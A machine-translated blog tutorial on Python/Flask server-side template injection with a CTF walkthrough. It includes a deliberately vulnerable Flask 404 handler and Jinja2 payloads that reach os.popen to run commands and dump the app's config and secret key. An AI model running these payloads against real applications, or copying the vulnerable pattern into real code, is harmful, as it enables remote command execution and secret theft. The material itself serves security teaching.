当前位置:网站首页>SSTI template injection explanation and real problem practice
SSTI template injection explanation and real problem practice
2022-07-06 03:47:00 【Advertising fever】
0x00 SSTI
1. What is? SSTI Inject ?
SSTI Template Injection (Server-Side Template Injection), Through the interface with the server-side template Input output interaction , In the case of lax filtering , Construct malicious input data , So as to read files or getshell Purpose , at present CTF common SSTI In question , Most of them are exams python Of .
2. Causes and utilization conditions
The website processes the output pages by the data and template framework , Our data will not change in the database , But the template of the picture can be converted in various ways , Different templates can give people different visual feelings , But when the template has controllable parameter variables or the template code has the debugging function of the template , May lead to ssti Template Injection , This injection exists for most script types . It's common for python Of CTF More test sites
3. What are the hazards ?
It can cause file reading , Command execution , Code execution, etc
paylaod Analytical reference :
0x01 Case understanding SSTI
Sensitive function phrases :
flask
render_template_string
Python Case study :
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s obtain 404_url Parameter the contents of the following fields , So as to input controllable variable injection
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
Can be python Script execution , Injection of being
adopt payload type , can RCE Read files and operate the machine
os._wrap_close In the class popen.
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
0x02 CTF Case study
https://buuoj.cn/
Title Page :
structure 2-2 perform , That there is ssti Injection execution
View all global variables , Reference global variables
Use global variables to get the following config value
url_for() Function is used to build the specified function of operation URL
get_flashed_messages() The function is to get the passed data
Get global variables
/shrine/{
{url_for.__globals__}}
or
/shrine/{
{get_flashed_messages.__globals__}}
Use the current global variable to read :
/shrine/{
{url_for.__globals__['current_app'].config}}
or
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}
Add : pyc Decompile knowledge points
pyc It is also a form of script encapsulation , Be similar to
aspx:DLL file
java:.class/jar/war file
pyc Is a decompilable package , There are also those that are difficult to decompile pyd Wait for the documents
pyc Decompile reference website :
Decompile platform :
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
decompiler :https://github.com/wibiti/uncompyle2
边栏推荐
- Cf464e the classic problem [shortest path, chairman tree]
- BUAA magpie nesting
- Indicator system of KQI and KPI
- Pandora IOT development board learning (HAL Library) - Experiment 9 PWM output experiment (learning notes)
- Python implementation of maddpg - (1) openai maddpg environment configuration
- A brief introduction to symbols and link libraries in C language
- Crawler of explanation and application of agency theory
- 【Rust 笔记】18-宏
- Pelosi: Congress will soon have legislation against members' stock speculation
- Remote Sensing Image Super-resolution and Object Detection: Benchmark and State of the Art
猜你喜欢
2. GPIO related operations
教你用Pytorch搭建一个自己的简单的BP神经网络( 以iris数据集为例 )
Factors affecting user perception
3.1 rtthread 串口设备(V1)详解
Teach you to build your own simple BP neural network with pytoch (take iris data set as an example)
C language circular statement
[slam] orb-slam3 parsing - track () (3)
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
Flask learning and project practice 8: introduction and use of cookies and sessions
施努卡:视觉定位系统 视觉定位系统的工作原理
随机推荐
Cubemx transplantation punctual atom LCD display routine
Introduction to DeNO
[Qt5] QT QWidget immediately appears and disappears
【Qt5】Qt QWidget立刻出现并消失
Serial port-rs232-rs485-ttl
[analysis of variance] single factor analysis and multi factor analysis
Prime Protocol宣布在Moonbeam上的跨链互连应用程序
遥感图像超分辨率论文推荐
BUAA magpie nesting
Ks008 SSM based press release system
关于非虚函数的假派生
Map sorts according to the key value (ascending plus descending)
BUAA计算器(表达式计算-表达式树实现)
Overview of super-resolution reconstruction of remote sensing images
Data analysis Seaborn visualization (for personal use)
2.2 STM32 GPIO操作
[American competition] mathematical terms
在 .NET 6 中使用 Startup.cs 更简洁的方法
Cross origin cross domain request
简述C语言中的符号和链接库